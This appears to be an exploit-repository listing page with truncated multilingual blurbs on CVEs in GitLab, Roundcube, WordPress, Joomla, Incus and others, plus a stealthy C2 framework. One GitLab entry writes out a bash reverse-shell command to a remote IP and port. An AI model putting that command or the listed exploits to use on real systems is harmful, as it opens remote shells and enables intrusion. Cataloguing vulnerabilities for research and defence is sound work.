Pixel-Flood-Attack

Pixel Flood DoS - CVE-2024-22393 PoC Pixel Flood Bug für Webserver Ein leichtgewichtiger Proof-of-Concept zum Testen der Pixel-Flood-Speichererschöpfungsschwachstelle in Webanwendungen, die anfällige Versionen von Apache Answer ausführen. Inhaltsverzeichnis Beschreibung Technische Details...

Gitlab-CVE-2021-22205

RCE non autenticata su Gitlab versione 13.10.3 Exploit RCE non autenticata per gitlab versione 13.10.3 Solo per scopi educativi/di ricerca. Usalo a tuo rischio Causa principale: Quando carica file immagine, Gitlab Workhorse passa qualsiasi file con le estensioni jpg|jpeg|tiff a ExifTool per...

CVE-2021-22205

CVE-2021-22205 RCE pré-autenticado via exiftool no Gitlab CE/EE Resumo da CVE O GitLab usa o ExifTool para escanear todos os arquivos tiff/jpeg/jpg e remover quaisquer tags que não estejam na lista de permissões. Mas, como o ExifTool não usa extensões de arquivo para determinar o tipo de arquivo,...

CVE-2025-49113

CVE-2025-49113 – Exploit RCE per Roundcube Webmail PoC Python ID CVE: CVE-2025-49113 Tipo di Exploit: Remote Code Execution tramite PHP Object Injection Applicazione: Roundcube Webmail ≤ 1.5.9 e ≤ 1.6.10 Linguaggio dell'Exploit: Python Autore: 00xCanelo Stato: Testato e funzionante su installazio...

RISE-Ultimate_Project_Manager_e_CRM

CVE-2025-3855 - RISE Ultimate Project Manager - IDOR Sicherheitslücke: IDOR Insecure Direct Object Reference Betroffene Komponente: Profilbild-Upload-Endpunkt, teammembers-Controller Software: RISE - Ultimate Project Manager & CRM Anbieter: codecanyon Version: 3.8.2 CVE ORG :...

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - Execução Remota de Código em Imagem Exploit das CVE-2019-8942 e CVE-2019-8943 usando python : ExploitDB : https://www.exploit-db.com/exploits/49512 O exploit original para metasploit : WordPress Core 5.0.0 - Crop-image Shell Upload Metasploit :...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell परीक्षण संस्करण शोषण उत्पन्न करने के लिए कमांड बनाएं root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumake का उपयोग करके शोषण इमेज बनाएं root@kitploit: import os payloads= "echo 'ba...

CVE-2021-23132

CVE-2021-23132 Percorsi consentiti di commedia non destinati al caricamento di immagini, fino alla RCE. CVE-2020-24597 Directory traversal in commedia fino alla RCE Le due CVE sono identiche. PoC Completo Versione interessata: Joomla core =3.9.24 Requisito utente: account Admin non Superadmin...

thingsboard-ssrf-cve-2025-34282

CVE-2025-34282 — ThingsBoard SSRF über SVG-Bild-Upload Übersicht Sicherheitslücke zur Server-Side Request Forgery SSRF in ThingsBoard IoT-Plattform-Versionen vor 4.2.1. Ein Angreifer mit Tenant-Admin-Zugriff kann eine manipulierte SVG-Datei mit einer internen URL-Referenz über die...

cve-2022-44268

Exploit su misura per HackTheBox Pilgrimage Script Python automatico che utilizza cve-2022-44268 per aggiungere un valore di profilo con un nome file da una filelist di input in un file di input, aggiornare il caricamento dell'immagine usando un file request.req di input da Burpsuite già incluso...

PoC-RCE-Rukovoditel

PoC-RCE-Rukovoditel Prova de conceito para CVE-2020-11819 e CVE-2020-15946. Testado no Rukovoditel 2.4.x, 2.5.x e 2.6.1 Descrição: Este exploit possui dois modos de execução, utilizando a vulnerabilidade de fixação de sessão CVE-2020-15946 ou usando as credenciais de acesso de qualquer conta em...

CVE-2026-11112-XXE-via-SVG-Image-Upload

CVE-2026-11112 – SVG इमेज अपलोड के माध्यम से XXE प्रोग्राम कोड Python Flask + XML पार्सर root@kitploit: xxeuploadserver.py - Uploads SVG, renders with lxml resolving entities from flask import Flask, request from lxml import etree app = Flaskname @app.route'/upload', methods='POST' def uploadsvg:...

CVE-2019-16113-Dockerfile

Vulnerabilità di Directory Traversal in Bludit CVE-2019-16113 Bludit-3.9.2 è un CMS leggero che richiede solo un ambiente LAMP per funzionare. Durante il caricamento delle immagini, Bludit controlla l'estensione del file ma non lo elimina tempestivamente, consentendo a un aggressore di controllar...

CVE-2025-54962

🔥 CVE-2025-54962 — Upload di file non sicuro nel webserver OpenPLC Runtime OpenPLC Runtime ≤ 2024-12-31 — XSS persistente, CSRF 📌 Riepilogo Ho scoperto una vulnerabilità nel webserver OpenPLC Runtime versione rilasciata: 2024-12-31 che consente agli utenti autenticati di caricare file arbitrari a...

CVE-2021-43617

CVE-2021-43617 Questa è una riproduzione della vulnerabilità PHP Laravel 8.70.1 - Cross Site Scripting XSS to Cross Site Request Forgery CSRF Descrizione La vulnerabilità sfrutta il fatto che possiamo bypassare la funzionalità di caricamento di file immagine di Laravel per caricare file arbitrari...

QuickResponseC2

Capacità - Utilizzo - Dimostrazione - Panoramica del flusso di lavoro - TODO QuickResponseC2 QuickResponseC2 è un framework di Comando e Controllo C2 furtivo che permette una comunicazione indiretta e nascosta tra la macchina dell'attaccante e quella della vittima tramite un server HTTP/S...

shining-mask

Shining Mask Hacks Dieses Repository enthält Code und Anleitungen zum Erstellen eines benutzerdefinierten Bluetooth-Low-EnergyBLE-Controllers für die Shining LED Mask, der das Gesichtsbild aller Masken in BLE-Reichweite automatisch ändert. Dieses Repository ist eine Ergänzung zu Invasion of the...

CVE-2026-66917

Joomla Extension - joomgalleryfriends.net - Stored XSS in JoomGallery 4.4.0 - An authenticated, privileged can store an XSS payload in any image causing JS execution in every visitor's browser...

CVE-2026-63125 Incus vulnerable to root RCE via image backup.yaml symlink

Incus is a system container and virtual machine manager. Prior to version 7.3.0, an unprivileged, project-confined Incus user a non-admin TLS/RBAC identity with cancreateimages and cancreateinstances can execute arbitrary code as root on the host. A crafted image ships backup.yaml as a symlink to...

CVE-2026-7529 wiseCampaign <= 1.1.16 - Missing Authorization to Unauthenticated Plugin Configuration Modification via REST API

The wiseCampaign – WooCommerce Conversions Made Easy plugin for WordPress is vulnerable to unauthorized modification and disclosure of data due to every one of its REST API endpoints being registered with permissioncallback = 'returntrue' in all versions up to, and including, 1.1.16. This makes i...